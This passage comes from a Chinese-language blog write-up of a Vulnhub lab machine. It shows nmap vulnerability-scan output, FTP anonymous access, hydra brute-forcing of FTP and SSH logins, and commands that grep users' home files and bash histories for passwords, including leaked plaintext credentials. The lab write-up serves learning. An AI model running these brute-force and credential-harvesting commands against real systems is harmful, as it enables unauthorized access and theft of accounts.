&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 23:20 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.47s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-slowloris-check:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris DOS attack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: LIKELY VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris tries to keep many connections to the target web server open and hold
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; them open as long as possible. It accomplishes this by opening connections to
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the target web server and sending a partial request. By doing so, it starves
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the http server&lt;span class="s1"&gt;&amp;#39;s resources causing Denial Of Service.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-17
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://ha.ckers.org/slowloris/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-vuln-cve2014-3704: ERROR: Script execution failed &lt;span class="o"&gt;(&lt;/span&gt;use -d to debug&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-054: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; SMBv2 exploit &lt;span class="o"&gt;(&lt;/span&gt;CVE-2009-3103, Microsoft Security Advisory 975497&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; Gold and SP2, and Windows &lt;span class="m"&gt;7&lt;/span&gt; RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; denial of service &lt;span class="o"&gt;(&lt;/span&gt;system crash&lt;span class="o"&gt;)&lt;/span&gt; via an &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;ampersand&lt;span class="o"&gt;)&lt;/span&gt; character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; aka &lt;span class="s2"&gt;&amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-regsvc-dos:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Service regsvc in Microsoft Windows systems vulnerable to denial of service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; The service regsvc in Microsoft Windows &lt;span class="m"&gt;2000&lt;/span&gt; systems is vulnerable to denial of service caused by a null deference
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; pointer. This script will crash the service &lt;span class="k"&gt;if&lt;/span&gt; it is vulnerable. This vulnerability was discovered by Ron Bowes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; working on smb-enum-sessions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-061: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 524.65 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;Target: http://172.168.169.129/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; Starting:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 4KB - /.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 220B - /.bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:12&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 675B - /.profile
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;Task Completed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;80端口网页打开什么都没有&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113033405.png"&gt;&lt;/p&gt;
&lt;h2 id="ftp-匿名登陆"&gt;FTP 匿名登陆
&lt;/h2&gt;&lt;p&gt;Nmap扫描提示有FTP匿名登录，登录后有个&lt;code&gt;note&lt;/code&gt;文件，下载后查看就是一句话。如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113013816.png"&gt;&lt;/p&gt;
&lt;p&gt;得到疑似是管理员的3个用户名，写入 &lt;code&gt;user.txt&lt;/code&gt; 文件&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;John
Elly
Harry
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113426941.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314130046105.png"&gt;&lt;/p&gt;
&lt;p&gt;中间因为网络延迟问题，超时了，我是免费账户，每天只有3小时免费额度，没事咱有vulnhub！vulnhub万岁！&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/" target="_blank" rel="noopener"
 &gt;https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;参考先知社区的文章，解决导入VMWare报错问题。现在靶机地址变为&lt;code&gt;172.168.169.129&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314141841527.png"&gt;
继续爆破FTP，三个用户名呢，总有一个大冤种。&lt;/p&gt;
&lt;h3 id="ftp登录用户名爆破"&gt;FTP登录用户名爆破
&lt;/h3&gt;&lt;p&gt;推荐工具：&lt;code&gt;username-anarchy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;专门针对人名生成各种变体，是渗透测试中最常用的用户名字典生成器。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 安装 
git clone https://github.com/urbanadventurer/username-anarchy.git
# 挂代理
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;针对这三个用户名&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 逐个生成并合并&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy John &amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy Elly &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy Harry &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 批量的&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy -i ../user.txt &amp;gt;&amp;gt; ../usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 去重&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sort -u usernames.txt -o usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;wc -l usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者如果名字有姓（比如从网站上找到全名），效果更好：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy &lt;span class="s2"&gt;&amp;#34;John Smith&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;生成的用户名之后使用hydra爆破&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;hydra -L usernames.txt -e nsr ftp://172.168.169.129
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里的&lt;code&gt;nsr&lt;/code&gt; 参数表述尝试空密码，同用户名密码，反用户名密码。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314142905656.png"&gt;&lt;/p&gt;
&lt;p&gt;得到正确的可登录的用户名和密码&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314142953277.png"&gt;&lt;/p&gt;
&lt;p&gt;FTP文件夹下有&lt;code&gt;/etc/passwd&lt;/code&gt; 泄露&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314143302175.png"&gt;&lt;/p&gt;
&lt;h2 id="ssh-登录爆破"&gt;SSH 登录爆破
&lt;/h2&gt;&lt;p&gt;passwd文件里面有很多用户，筛选一下可以登录的用户名，然后使用hydra爆破&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat passwd &lt;span class="p"&gt;|&lt;/span&gt; grep -v -E &lt;span class="s2"&gt;&amp;#34;nologin|false&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;:&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &amp;gt; ssh_user_name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hydra -L ssh_user_name -e nsr ssh://172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314143730634.png"&gt;&lt;/p&gt;
&lt;p&gt;冤种2号！打到这里非常快乐。&lt;/p&gt;
&lt;h2 id="history历史记录泄露"&gt;History历史记录泄露
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144001160.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314154934866.png"&gt;&lt;/p&gt;
&lt;p&gt;登上之后直接开始一顿快乐的搜索&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls /home/*/ -al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /home/*/.* &lt;span class="p"&gt;|&lt;/span&gt;grep pass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat /home/*/.bash_history &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314155037013.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150956194.png"&gt;&lt;/p&gt;
&lt;p&gt;又发现两个幸运观众的密码泄露，所以真的不要把密码明文打在命令行里&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sshpass -p thisimypassword ssh JKanode@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sshpass -p JZQuyIN5 peter@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;登录JKanode 没什么用，炮灰一个&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151304255.png"&gt;&lt;/p&gt;
&lt;h2 id="登录peter账户直接提权"&gt;登录Peter账户直接提权
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151328934.png"&gt;&lt;/p&gt;
&lt;p&gt;这个靶机还有多种方式，这是速通的一种方法，这么快速可能会让你觉得这个靶机不过如此。但是官网也说了，至少两种方式获得shell和至少3中方式提权root。所以，盘他，填满它所有的洞！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102117000.png"&gt;&lt;/p&gt;
&lt;h2 id="其他的方法"&gt;其他的方法
&lt;/h2&gt;&lt;p&gt;主要参考&lt;/p&gt;

 &lt;blockquote&gt;
